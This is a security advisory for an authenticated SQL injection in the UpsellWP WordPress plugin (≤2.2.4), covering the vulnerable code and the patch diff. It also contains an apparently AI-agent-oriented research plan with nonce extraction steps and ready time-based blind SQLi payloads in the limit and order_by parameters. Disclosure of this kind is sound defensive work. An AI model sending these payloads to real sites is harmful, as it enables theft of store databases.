UpsellWP – WooCommerce Upsell and Related Products Offers <= 2.2.4 - Authenticated (Shop manager+) SQL Injection
Description
The UpsellWP – WooCommerce Upsell and Related Products Offers plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.2.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.2.4What Changed in the Fix
Changes introduced in v2.2.5
Source Code
WordPress.org SVNThis vulnerability is a classic case of **SQL Injection** in the database abstraction layer of a WordPress plugin. The `CUW\App\Models\Model` class provides helper methods for building SQL queries that fail to properly sanitize or prepare clauses for `ORDER BY`, `LIMIT`, and `OFFSET`. ### 1. Vulner…
Show full research plan
This vulnerability is a classic case of SQL Injection in the database abstraction layer of a WordPress plugin. The CUW\App\Models\Model class provides helper methods for building SQL queries that fail to properly sanitize or prepare clauses for ORDER BY, LIMIT, and OFFSET.
1. Vulnerability Summary
The UpsellWP plugin uses a base Model class (app/Models/Model.php) to handle database interactions. The method prepareSelectQuery() constructs SQL strings by concatenating user-supplied values from an $args array directly into the query. Specifically, the order_by, limit, and offset keys in the $args array are appended to the query string without using $wpdb->prepare() or type-casting (like intval()). This allows an authenticated user with "Shop Manager" or "Administrator" privileges to inject arbitrary SQL.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
cuw_admin_ajax(Inferred from the plugin'scuw_prefix and standard Flycart AJAX routing patterns). - Method/Route: The AJAX dispatcher likely routes requests to a controller method (e.g.,
get_campaigns) that calls a Model'sgetRows()method. - Vulnerable Parameter: Parameters mapped to
$args['order_by'],$args['limit'], or$args['offset']. - Authentication: Authenticated, Shop Manager level or higher.
- Preconditions: At least one record (e.g., a Campaign) must exist in the database for the query to execute and reflect time-based changes.
3. Code Flow
- Entry Point: An AJAX request is sent to
admin-ajax.phpwithaction=cuw_admin_ajax. - Controller: The dispatcher (likely in
app/Controllers/Admin/Ajax.php) receives the request. - Model Call: The controller calls a method like
CUW\App\Models\Campaign::getRows($where, $where_format, $columns, $args). - Vulnerable Sink:
getRowscallsprepareSelectQuery($where, $where_format, $columns, $args)inapp/Models/Model.php. - Injection Site:
- Line 241:
$query .= " ORDER BY \$order_by` $sort";` (Injects by breaking out of backticks). - Line 245:
$query .= " LIMIT $limit";(Direct concatenation). - Line 250:
$query .= " OFFSET $offset";(Direct concatenation).
- Line 241:
4. Nonce Acquisition Strategy
The plugin enqueues its admin scripts and localizes data including a security nonce.
- Identify Page: The main plugin page is likely
wp-admin/admin.php?page=checkout-upsell-and-order-bumps. - Navigation: Use
browser_navigateto this URL while logged in as a Shop Manager. - Extraction: The nonce is typically stored in a global JS object. Based on common Flycart patterns, the variable is likely
cuw_admin_paramsorcuw_vars. - Agent Command:
browser_eval("window.cuw_admin_params?.ajax_nonce || window.cuw_vars?.nonce")
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection targeting the limit parameter, as it is concatenated directly without any wrapping characters.
- Request Type: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body (URL-encoded):
action=cuw_admin_ajax method=get_campaigns nonce=[EXTRACTED_NONCE] limit=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Alternative Body (using
order_by):
Resulting Query:action=cuw_admin_ajax method=get_campaigns nonce=[EXTRACTED_NONCE] order_by=id`,(SELECT 1 FROM (SELECT SLEEP(5))a)-- -SELECT * FROM ... ORDER BYid,(SELECT 1 FROM (SELECT SLEEP(5))a)-- -ASC`
6. Test Data Setup
- User: Create a user with the
shop_managerrole. - Plugin Setup: Ensure WooCommerce is active (dependency).
- Content: Create at least one campaign via the UpsellWP dashboard to ensure the
getRowsquery has a target table and data.wp post create --post_type=cuw_campaign --post_title="Test Campaign" --post_status=publish(Note: Check the actual post type name if this fails, likelycuw_campaignor stored in a custom tablewp_cuw_campaigns).
7. Expected Results
- Normal Request: The server responds promptly (e.g., < 200ms).
- Exploit Request: The server response is delayed by exactly 5 seconds.
- Error-Based (Optional): If
WP_DEBUGis on, providing a payload likelimit=1' ERRORmight return a database error string in the response.
8. Verification Steps
After performing the time-based injection, use wp db query to confirm the structure of the plugin's tables:
- Check for custom tables:
wp db query "SHOW TABLES LIKE '%cuw_%'" - Verify content:
wp db query "SELECT COUNT(*) FROM wp_cuw_campaigns"(or relevant table). - Confirm the vulnerability by manually running a similar query via CLI to ensure the syntax matches the injection hypothesis.
9. Alternative Approaches
If get_campaigns is not the correct method name:
- Check the browser Network tab while interacting with the plugin's dashboard to see the exact
methodorrouteparameter sent in AJAX requests. - Search for other Model usages:
grep -rn "getRows" app/Controllers/ - If time-based is unstable, try boolean-based by changing the
limitto1(True) vs0(False/No results).
Summary
The UpsellWP plugin for WordPress is vulnerable to SQL Injection because its base Model class concatenates user-supplied parameters directly into SQL queries without sanitization or using prepared statements. Authenticated attackers with Shop Manager privileges can exploit this to inject arbitrary SQL commands via order_by, limit, or offset parameters to extract sensitive information from the database.
Vulnerable Code
// app/Models/Model.php if (isset($args['order_by'])) { $order_by = $args['order_by']; $sort = 'ASC'; if (isset($args['sort']) && strtoupper($args['sort']) == 'DESC') { $sort = 'DESC'; } $query .= " ORDER BY `$order_by` $sort"; } if (isset($args['limit'])) { $limit = $args['limit']; $query .= " LIMIT $limit"; } if (isset($args['offset'])) { $offset = $args['offset']; $query .= " OFFSET $offset"; }
Security Fix
@@ -239,22 +239,29 @@ } if (isset($args['order_by'])) { - $order_by = $args['order_by']; + $order_by = sanitize_key($args['order_by']); $sort = 'ASC'; if (isset($args['sort']) && strtoupper($args['sort']) == 'DESC') { $sort = 'DESC'; } - $query .= " ORDER BY `$order_by` $sort"; + // Validate order_by field contains only alphanumeric characters, underscores, and hyphens + if (preg_match('/^[a-zA-Z0-9_-]+$/', $order_by)) { + $query .= " ORDER BY `$order_by` $sort"; + } } if (isset($args['limit'])) { - $limit = $args['limit']; - $query .= " LIMIT $limit"; + $limit = absint($args['limit']); + if ($limit > 0) { + $query .= " LIMIT $limit"; + } } if (isset($args['offset'])) { - $offset = $args['offset']; - $query .= " OFFSET $offset"; + $offset = absint($args['offset']); + if ($offset >= 0) { + $query .= " OFFSET $offset"; + } } }
Exploit Outline
The exploit targets the `cuw_admin_ajax` AJAX action, which routes requests to controller methods that utilize the vulnerable `Model` class. An attacker needs Shop Manager or Administrator authentication. 1. **Preparation**: Create at least one 'Campaign' in the plugin dashboard to ensure database records exist for query results. 2. **Nonce Retrieval**: Authenticate as a Shop Manager and navigate to the plugin's admin page to extract the security nonce (likely stored in the `cuw_admin_params` JavaScript object). 3. **Payload Injection**: Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `cuw_admin_ajax` - `method`: `get_campaigns` (or another method calling `getRows`) - `nonce`: [EXTRACTED_NONCE] - `limit`: `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)` 4. **Verification**: A successful exploit is confirmed if the server response is delayed by approximately 5 seconds, indicating the `SLEEP()` command was executed by the database engine.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.